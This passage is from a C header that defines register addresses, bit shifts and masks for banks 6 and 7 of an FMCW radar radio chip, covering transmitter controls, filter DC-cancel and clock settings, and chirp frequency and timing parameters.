#define RADIO_BK6_FMCW_PS_CTRL_2_1_PS_OPST_TX2_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_CTRL_2_1_PS_OPST_TX3_EN_2_SHIFT 3
#define RADIO_BK6_FMCW_PS_CTRL_2_1_PS_OPST_TX3_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_EN_2 0x3d
#define RADIO_BK6_FMCW_PS_EN_2_PS_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_PS_EN_2_PS_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_PS_EN_2_PS_S_2_SHIFT 1
#define RADIO_BK6_FMCW_PS_EN_2_PS_S_2_MASK 0x1
#define RADIO_BK6_FMCW_TX0_CTRL_2_0 0x3e
#define RADIO_BK6_FMCW_TX0_CTRL_2_0_F3C_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_TX0_CTRL_2_0_F3C_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_TX0_CTRL_2_0_F3C_SEL_2_SHIFT 1
#define RADIO_BK6_FMCW_TX0_CTRL_2_0_F3C_SEL_2_MASK 0x3
#define RADIO_BK6_FMCW_TX0_CTRL_2_1 0x3f
#define RADIO_BK6_FMCW_TX0_CTRL_2_1_VAM_4_SHIFT 0
#define RADIO_BK6_FMCW_TX0_CTRL_2_1_VAM_4_MASK 0x3
#define RADIO_BK6_FMCW_TX0_CTRL_2_1_VAM_3_SHIFT 2
#define RADIO_BK6_FMCW_TX0_CTRL_2_1_VAM_3_MASK 0x3
#define RADIO_BK6_FMCW_TX0_CTRL_2_1_VAM_2_SHIFT 4
#define RADIO_BK6_FMCW_TX0_CTRL_2_1_VAM_2_MASK 0x3
#define RADIO_BK6_FMCW_TX0_CTRL_2_1_VAM_1_SHIFT 6
#define RADIO_BK6_FMCW_TX0_CTRL_2_1_VAM_1_MASK 0x3
#define RADIO_BK6_FMCW_TX0_CTRL_2_2 0x40
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_VAM_EN_SHIFT 0
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_VAM_EN_MASK 0x1
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_VAM_P_SHIFT 1
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_VAM_P_MASK 0x3
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_VAM_S_SHIFT 3
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_VAM_S_MASK 0x1
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_OFF_S_SHIFT 4
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_OFF_S_MASK 0x3
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_VAM_RM_SHIFT 6
#define RADIO_BK6_FMCW_TX0_CTRL_2_2_VAM_RM_MASK 0x1
#define RADIO_BK6_FMCW_TX1_CTRL_2_0 0x41
#define RADIO_BK6_FMCW_TX1_CTRL_2_0_F3C_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_TX1_CTRL_2_0_F3C_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_TX1_CTRL_2_0_F3C_SEL_2_SHIFT 1
#define RADIO_BK6_FMCW_TX1_CTRL_2_0_F3C_SEL_2_MASK 0x3
#define RADIO_BK6_FMCW_TX1_CTRL_2_1 0x42
#define RADIO_BK6_FMCW_TX1_CTRL_2_1_VAM_4_SHIFT 0
#define RADIO_BK6_FMCW_TX1_CTRL_2_1_VAM_4_MASK 0x3
#define RADIO_BK6_FMCW_TX1_CTRL_2_1_VAM_3_SHIFT 2
#define RADIO_BK6_FMCW_TX1_CTRL_2_1_VAM_3_MASK 0x3
#define RADIO_BK6_FMCW_TX1_CTRL_2_1_VAM_2_SHIFT 4
#define RADIO_BK6_FMCW_TX1_CTRL_2_1_VAM_2_MASK 0x3
#define RADIO_BK6_FMCW_TX1_CTRL_2_1_VAM_1_SHIFT 6
#define RADIO_BK6_FMCW_TX1_CTRL_2_1_VAM_1_MASK 0x3
#define RADIO_BK6_FMCW_TX1_CTRL_2_2 0x43
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_VAM_EN_SHIFT 0
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_VAM_EN_MASK 0x1
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_VAM_P_SHIFT 1
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_VAM_P_MASK 0x3
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_VAM_S_SHIFT 3
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_VAM_S_MASK 0x1
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_OFF_S_SHIFT 4
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_OFF_S_MASK 0x3
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_VAM_RM_SHIFT 6
#define RADIO_BK6_FMCW_TX1_CTRL_2_2_VAM_RM_MASK 0x1
#define RADIO_BK6_FMCW_TX2_CTRL_2_0 0x44
#define RADIO_BK6_FMCW_TX2_CTRL_2_0_F3C_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_TX2_CTRL_2_0_F3C_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_TX2_CTRL_2_0_F3C_SEL_2_SHIFT 1
#define RADIO_BK6_FMCW_TX2_CTRL_2_0_F3C_SEL_2_MASK 0x3
#define RADIO_BK6_FMCW_TX2_CTRL_2_1 0x45
#define RADIO_BK6_FMCW_TX2_CTRL_2_1_VAM_4_SHIFT 0
#define RADIO_BK6_FMCW_TX2_CTRL_2_1_VAM_4_MASK 0x3
#define RADIO_BK6_FMCW_TX2_CTRL_2_1_VAM_3_SHIFT 2
#define RADIO_BK6_FMCW_TX2_CTRL_2_1_VAM_3_MASK 0x3
#define RADIO_BK6_FMCW_TX2_CTRL_2_1_VAM_2_SHIFT 4
#define RADIO_BK6_FMCW_TX2_CTRL_2_1_VAM_2_MASK 0x3
#define RADIO_BK6_FMCW_TX2_CTRL_2_1_VAM_1_SHIFT 6
#define RADIO_BK6_FMCW_TX2_CTRL_2_1_VAM_1_MASK 0x3
#define RADIO_BK6_FMCW_TX2_CTRL_2_2 0x46
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_VAM_EN_SHIFT 0
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_VAM_EN_MASK 0x1
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_VAM_P_SHIFT 1
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_VAM_P_MASK 0x3
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_VAM_S_SHIFT 3
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_VAM_S_MASK 0x1
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_OFF_S_SHIFT 4
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_OFF_S_MASK 0x3
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_VAM_RM_SHIFT 6
#define RADIO_BK6_FMCW_TX2_CTRL_2_2_VAM_RM_MASK 0x1
#define RADIO_BK6_FMCW_TX3_CTRL_2_0 0x47
#define RADIO_BK6_FMCW_TX3_CTRL_2_0_F3C_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_TX3_CTRL_2_0_F3C_EN_2_MASK 0x1
#define RADIO_BK6_FMCW_TX3_CTRL_2_0_F3C_SEL_2_SHIFT 1
#define RADIO_BK6_FMCW_TX3_CTRL_2_0_F3C_SEL_2_MASK 0x3
#define RADIO_BK6_FMCW_TX3_CTRL_2_1 0x48
#define RADIO_BK6_FMCW_TX3_CTRL_2_1_VAM_4_SHIFT 0
#define RADIO_BK6_FMCW_TX3_CTRL_2_1_VAM_4_MASK 0x3
#define RADIO_BK6_FMCW_TX3_CTRL_2_1_VAM_3_SHIFT 2
#define RADIO_BK6_FMCW_TX3_CTRL_2_1_VAM_3_MASK 0x3
#define RADIO_BK6_FMCW_TX3_CTRL_2_1_VAM_2_SHIFT 4
#define RADIO_BK6_FMCW_TX3_CTRL_2_1_VAM_2_MASK 0x3
#define RADIO_BK6_FMCW_TX3_CTRL_2_1_VAM_1_SHIFT 6
#define RADIO_BK6_FMCW_TX3_CTRL_2_1_VAM_1_MASK 0x3
#define RADIO_BK6_FMCW_TX3_CTRL_2_2 0x49
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_VAM_EN_SHIFT 0
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_VAM_EN_MASK 0x1
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_VAM_P_SHIFT 1
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_VAM_P_MASK 0x3
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_VAM_S_SHIFT 3
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_VAM_S_MASK 0x1
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_OFF_S_SHIFT 4
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_OFF_S_MASK 0x3
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_VAM_RM_SHIFT 6
#define RADIO_BK6_FMCW_TX3_CTRL_2_2_VAM_RM_MASK 0x1
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_0 0x4a
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_0_SHIFT 0
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_0_MASK 0xff
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_1 0x4b
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_1_SHIFT 0
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_1_MASK 0xff
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_2 0x4c
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_2_SHIFT 0
#define RADIO_BK6_CH0_FILTER_DC_CANCEL_2_2_MASK 0x7f
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_0 0x4d
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_0_SHIFT 0
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_0_MASK 0xff
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_1 0x4e
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_1_SHIFT 0
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_1_MASK 0xff
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_2 0x4f
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_2_SHIFT 0
#define RADIO_BK6_CH1_FILTER_DC_CANCEL_2_2_MASK 0x7f
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_0 0x50
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_0_SHIFT 0
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_0_MASK 0xff
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_1 0x51
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_1_SHIFT 0
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_1_MASK 0xff
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_2 0x52
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_2_SHIFT 0
#define RADIO_BK6_CH2_FILTER_DC_CANCEL_2_2_MASK 0x7f
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_0 0x53
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_0_SHIFT 0
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_0_MASK 0xff
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_1 0x54
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_1_SHIFT 0
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_1_MASK 0xff
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_2 0x55
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_2_SHIFT 0
#define RADIO_BK6_CH3_FILTER_DC_CANCEL_2_2_MASK 0x7f
#define RADIO_BK6_FILTER_DAT_SFT_SEL_2 0x56
#define RADIO_BK6_FILTER_DAT_SFT_SEL_2_SHIFT 0
#define RADIO_BK6_FILTER_DAT_SFT_SEL_2_MASK 0x7
#define RADIO_BK6_FILTER_BDW_SEL_2 0x57
#define RADIO_BK6_FILTER_BDW_SEL_2_SHIFT 0
#define RADIO_BK6_FILTER_BDW_SEL_2_MASK 0x3
#define RADIO_BK6_FILTER_CLK_CTRL_2_0 0x58
#define RADIO_BK6_FILTER_CLK_CTRL_2_0_BW20M_EN_2_SHIFT 0
#define RADIO_BK6_FILTER_CLK_CTRL_2_0_BW20M_EN_2_MASK 0xf
#define RADIO_BK6_FILTER_CLK_CTRL_2_0_CLK_SEL_2_SHIFT 4
#define RADIO_BK6_FILTER_CLK_CTRL_2_0_CLK_SEL_2_MASK 0x1
#define RADIO_BK6_FILTER_CLK_CTRL_2_0_REFPLL_SDMADC_CLKSEL_2_SHIFT 5
#define RADIO_BK6_FILTER_CLK_CTRL_2_0_REFPLL_SDMADC_CLKSEL_2_MASK 0x1
#define RADIO_BK6_FILTER_CLK_CTRL_2_1 0x59
#define RADIO_BK6_FILTER_CLK_CTRL_2_1_SHIFT 0
#define RADIO_BK6_FILTER_CLK_CTRL_2_1_MASK 0x1
#define RADIO_BK6_FMCW_CMD_PRD_2 0x5a
#define RADIO_BK6_FMCW_CMD_PRD_2_SHIFT 0
#define RADIO_BK6_FMCW_CMD_PRD_2_MASK 0xff
#define RADIO_BK6_FMCW_CMD_SKP_2 0x5b
#define RADIO_BK6_FMCW_CMD_SKP_2_SHIFT 0
#define RADIO_BK6_FMCW_CMD_SKP_2_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_0 0x5c
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_0_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_0_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_1 0x5d
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_1_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_1_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_2 0x5e
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_2_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_2_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_3 0x5f
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_3_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_X_2_3_MASK 0xff
#define RADIO_BK6_FMCW_CMD_NUM_2_0 0x60
#define RADIO_BK6_FMCW_CMD_NUM_2_0_SHIFT 0
#define RADIO_BK6_FMCW_CMD_NUM_2_0_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_0 0x61
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_0_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_0_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_1 0x62
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_1_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_1_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_2 0x63
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_2_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_2_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_3 0x64
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_3_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_Y_2_3_MASK 0xff
#define RADIO_BK6_FMCW_CMD_NUM_2_1 0x65
#define RADIO_BK6_FMCW_CMD_NUM_2_1_SHIFT 0
#define RADIO_BK6_FMCW_CMD_NUM_2_1_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_0 0x66
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_0_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_0_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_1 0x67
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_1_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_1_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_2 0x68
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_2_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_2_MASK 0xff
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_3 0x69
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_3_SHIFT 0
#define RADIO_BK6_FMCW_CMD_TIMER_Z_2_3_MASK 0xff
#define RADIO_BK6_FMCW_CMD_NUM_2_2 0x6a
#define RADIO_BK6_FMCW_CMD_NUM_2_2_SHIFT 0
#define RADIO_BK6_FMCW_CMD_NUM_2_2_MASK 0xff
#define RADIO_BK6_FMCW_AUTO_DLY_2_0 0x6b
#define RADIO_BK6_FMCW_AUTO_DLY_2_0_SHIFT 0
#define RADIO_BK6_FMCW_AUTO_DLY_2_0_MASK 0xff
#define RADIO_BK6_FMCW_AUTO_DLY_2_1 0x6c
#define RADIO_BK6_FMCW_AUTO_DLY_2_1_SHIFT 0
#define RADIO_BK6_FMCW_AUTO_DLY_2_1_MASK 0xff
#define RADIO_BK6_FMCW_AUTO_DLY_2_2 0x6d
#define RADIO_BK6_FMCW_AUTO_DLY_2_2_SHIFT 0
#define RADIO_BK6_FMCW_AUTO_DLY_2_2_MASK 0xff
#define RADIO_BK6_FMCW_AUTO_DLY_2_3 0x6e
#define RADIO_BK6_FMCW_AUTO_DLY_2_3_SHIFT 0
#define RADIO_BK6_FMCW_AUTO_DLY_2_3_MASK 0xff
#define RADIO_BK6_FMCW_AUTO_DLY_EN_2 0x6f
#define RADIO_BK6_FMCW_AUTO_DLY_EN_2_SHIFT 0
#define RADIO_BK6_FMCW_AUTO_DLY_EN_2_MASK 0x1
#define RADIO_BK7_FMCW_START_TIME_3_0 0x1
#define RADIO_BK7_FMCW_START_TIME_3_0_SHIFT 0
#define RADIO_BK7_FMCW_START_TIME_3_0_MASK 0xff
#define RADIO_BK7_FMCW_START_TIME_3_1 0x2
#define RADIO_BK7_FMCW_START_TIME_3_1_SHIFT 0
#define RADIO_BK7_FMCW_START_TIME_3_1_MASK 0xff
#define RADIO_BK7_FMCW_START_TIME_3_2 0x3
#define RADIO_BK7_FMCW_START_TIME_3_2_SHIFT 0
#define RADIO_BK7_FMCW_START_TIME_3_2_MASK 0xff
#define RADIO_BK7_FMCW_START_TIME_3_3 0x4
#define RADIO_BK7_FMCW_START_TIME_3_3_SHIFT 0
#define RADIO_BK7_FMCW_START_TIME_3_3_MASK 0xff
#define RADIO_BK7_FMCW_START_FREQ_3_0 0x5
#define RADIO_BK7_FMCW_START_FREQ_3_0_SHIFT 0
#define RADIO_BK7_FMCW_START_FREQ_3_0_MASK 0xff
#define RADIO_BK7_FMCW_START_FREQ_3_1 0x6
#define RADIO_BK7_FMCW_START_FREQ_3_1_SHIFT 0
#define RADIO_BK7_FMCW_START_FREQ_3_1_MASK 0xff
#define RADIO_BK7_FMCW_START_FREQ_3_2 0x7
#define RADIO_BK7_FMCW_START_FREQ_3_2_SHIFT 0
#define RADIO_BK7_FMCW_START_FREQ_3_2_MASK 0xff
#define RADIO_BK7_FMCW_START_FREQ_3_3 0x8
#define RADIO_BK7_FMCW_START_FREQ_3_3_SHIFT 0
#define RADIO_BK7_FMCW_START_FREQ_3_3_MASK 0xff
#define RADIO_BK7_FMCW_STOP_FREQ_3_0 0x9
#define RADIO_BK7_FMCW_STOP_FREQ_3_0_SHIFT 0
#define RADIO_BK7_FMCW_STOP_FREQ_3_0_MASK 0xff
#define RADIO_BK7_FMCW_STOP_FREQ_3_1 0xa
#define RADIO_BK7_FMCW_STOP_FREQ_3_1_SHIFT 0
#define RADIO_BK7_FMCW_STOP_FREQ_3_1_MASK 0xff
#define RADIO_BK7_FMCW_STOP_FREQ_3_2 0xb
#define RADIO_BK7_FMCW_STOP_FREQ_3_2_SHIFT 0
#define RADIO_BK7_FMCW_STOP_FREQ_3_2_MASK 0xff
#define RADIO_BK7_FMCW_STOP_FREQ_3_3 0xc
#define RADIO_BK7_FMCW_STOP_FREQ_3_3_SHIFT 0
#define RADIO_BK7_FMCW_STOP_FREQ_3_3_MASK 0xff
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_0 0xd
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_0_SHIFT 0
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_0_MASK 0xff
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_1 0xe
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_1_SHIFT 0
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_1_MASK 0xff
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_2 0xf
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_2_SHIFT 0
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_2_MASK 0xff
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_3 0x10
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_3_SHIFT 0
#define RADIO_BK7_FMCW_STEP_UP_FREQ_3_3_MASK 0xf
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_0 0x11
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_0_SHIFT 0
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_0_MASK 0xff
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_1 0x12
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_1_SHIFT 0
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_1_MASK 0xff
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_2 0x13
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_2_SHIFT 0
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_2_MASK 0xff
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_3 0x14
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_3_SHIFT 0
#define RADIO_BK7_FMCW_STEP_DN_FREQ_3_3_MASK 0xf
#define RADIO_BK7_FMCW_IDLE_3_0 0x15
#define RADIO_BK7_FMCW_IDLE_3_0_SHIFT 0
#define RADIO_BK7_FMCW_IDLE_3_0_MASK 0xff
#define RADIO_BK7_FMCW_IDLE_3_1 0x16
#define RADIO_BK7_FMCW_IDLE_3_1_SHIFT 0
#define RADIO_BK7_FMCW_IDLE_3_1_MASK 0xff
#define RADIO_BK7_FMCW_IDLE_3_2 0x17
#define RADIO_BK7_FMCW_IDLE_3_2_SHIFT 0
#define RADIO_BK7_FMCW_IDLE_3_2_MASK 0xff
#define RADIO_BK7_FMCW_IDLE_3_3 0x18
#define RADIO_BK7_FMCW_IDLE_3_3_SHIFT 0
#define RADIO_BK7_FMCW_IDLE_3_3_MASK 0xff
#define RADIO_BK7_FMCW_CHIRP_SIZE_3_0 0x19
#define RADIO_BK7_FMCW_CHIRP_SIZE_3_0_SHIFT 0
#define RADIO_BK7_FMCW_CHIRP_SIZE_3_0_MASK 0xff
#define RADIO_BK7_FMCW_CHIRP_SIZE_3_1 0x1a
#define RADIO_BK7_FMCW_CHIRP_SIZE_3_1_SHIFT 0
#define RADIO_BK7_FMCW_CHIRP_SIZE_3_1_MASK 0xff
#define RADIO_BK7_FMCW_START_FREQ_HP_3_0 0x1b
#define RADIO_BK7_FMCW_START_FREQ_HP_3_0_SHIFT 0
#define RADIO_BK7_FMCW_START_FREQ_HP_3_0_MASK 0xff
#define RADIO_BK7_FMCW_START_FREQ_HP_3_1 0x1c
#define RADIO_BK7_FMCW_START_FREQ_HP_3_1_SHIFT 0
#define RADIO_BK7_FMCW_START_FREQ_HP_3_1_MASK 0xff
#define RADIO_BK7_FMCW_START_FREQ_HP_3_2 0x1d
#define RADIO_BK7_FMCW_START_FREQ_HP_3_2_SHIFT 0
#define RADIO_BK7_FMCW_START_FREQ_HP_3_2_MASK 0xff
#define RADIO_BK7_FMCW_START_FREQ_HP_3_3 0x1e
#define RADIO_BK7_FMCW_START_FREQ_HP_3_3_SHIFT 0
#define RADIO_BK7_FMCW_START_FREQ_HP_3_3_MASK 0xff
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_0 0x1f
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_0_SHIFT 0
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_0_MASK 0xff
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_1 0x20
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_1_SHIFT 0
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_1_MASK 0xff
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_2 0x21
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_2_SHIFT 0
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_2_MASK 0xff
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_3 0x22
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_3_SHIFT 0
#define RADIO_BK7_FMCW_STOP_FREQ_HP_3_3_MASK 0xff
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_0 0x23
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_0_SHIFT 0
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_0_MASK 0xff
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_1 0x24
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_1_SHIFT 0
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_1_MASK 0xff
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_2 0x25
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_2_SHIFT 0
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_2_MASK 0xff
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_3 0x26
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_3_SHIFT 0
#define RADIO_BK7_FMCW_STEP_UP_FREQ_HP_3_3_MASK 0xf
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_0 0x27
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_0_SHIFT 0
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_0_MASK 0xff
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_1 0x28
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_1_SHIFT 0
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_1_MASK 0xff
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_2 0x29
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_2_SHIFT 0
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_2_MASK 0xff
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_3 0x2a
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_3_SHIFT 0
#define RADIO_BK7_FMCW_STEP_DN_FREQ_HP_3_3_MASK 0xf
#define RADIO_BK7_FMCW_IDLE_HP_3_0 0x2b
#define RADIO_BK7_FMCW_IDLE_HP_3_0_SHIFT 0
#define RADIO_BK7_FMCW_IDLE_HP_3_0_MASK 0xff
#define RADIO_BK7_FMCW_IDLE_HP_3_1 0x2c
#define RADIO_BK7_FMCW_IDLE_HP_3_1_SHIFT 0
#define RADIO_BK7_FMCW_IDLE_HP_3_1_MASK 0xff
#define RADIO_BK7_FMCW_IDLE_HP_3_2 0x2d
#define RADIO_BK7_FMCW_IDLE_HP_3_2_SHIFT 0
#define RADIO_BK7_FMCW_IDLE_HP_3_2_MASK 0xff
#define RADIO_BK7_FMCW_IDLE_HP_3_3 0x2e
#define RADIO_BK7_FMCW_IDLE_HP_3_3_SHIFT 0
#define RADIO_BK7_FMCW_IDLE_HP_3_3_MASK 0xff
#define RADIO_BK7_FMCW_AGC_EN_3 0x2f
#define RADIO_BK7_FMCW_AGC_EN_3_AGC_EN_3_SHIFT 0
#define RADIO_BK7_FMCW_AGC_EN_3_AGC_EN_3_MASK 0x1
#define RADIO_BK7_FMCW_AGC_EN_3_AGC_FRM_CNT_PARITY_3_SHIFT 1
#define RADIO_BK7_FMCW_AGC_EN_3_AGC_FRM_CNT_PARITY_3_MASK 0x1
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_0 0x30
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_0_SHIFT 0
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_0_MASK 0xff
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_1 0x31
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_1_SHIFT 0
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_1_MASK 0xff
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_2 0x32
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_2_SHIFT 0
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_2_MASK 0xff
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_3 0x33
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_3_SHIFT 0
#define RADIO_BK7_FMCW_CS_AVA_DLY_3_3_MASK 0xff
#define RADIO_BK7_FMCW_CS_AVA_EN_3 0x34
#define RADIO_BK7_FMCW_CS_AVA_EN_3_CS_AVA_EN_3_SHIFT 0
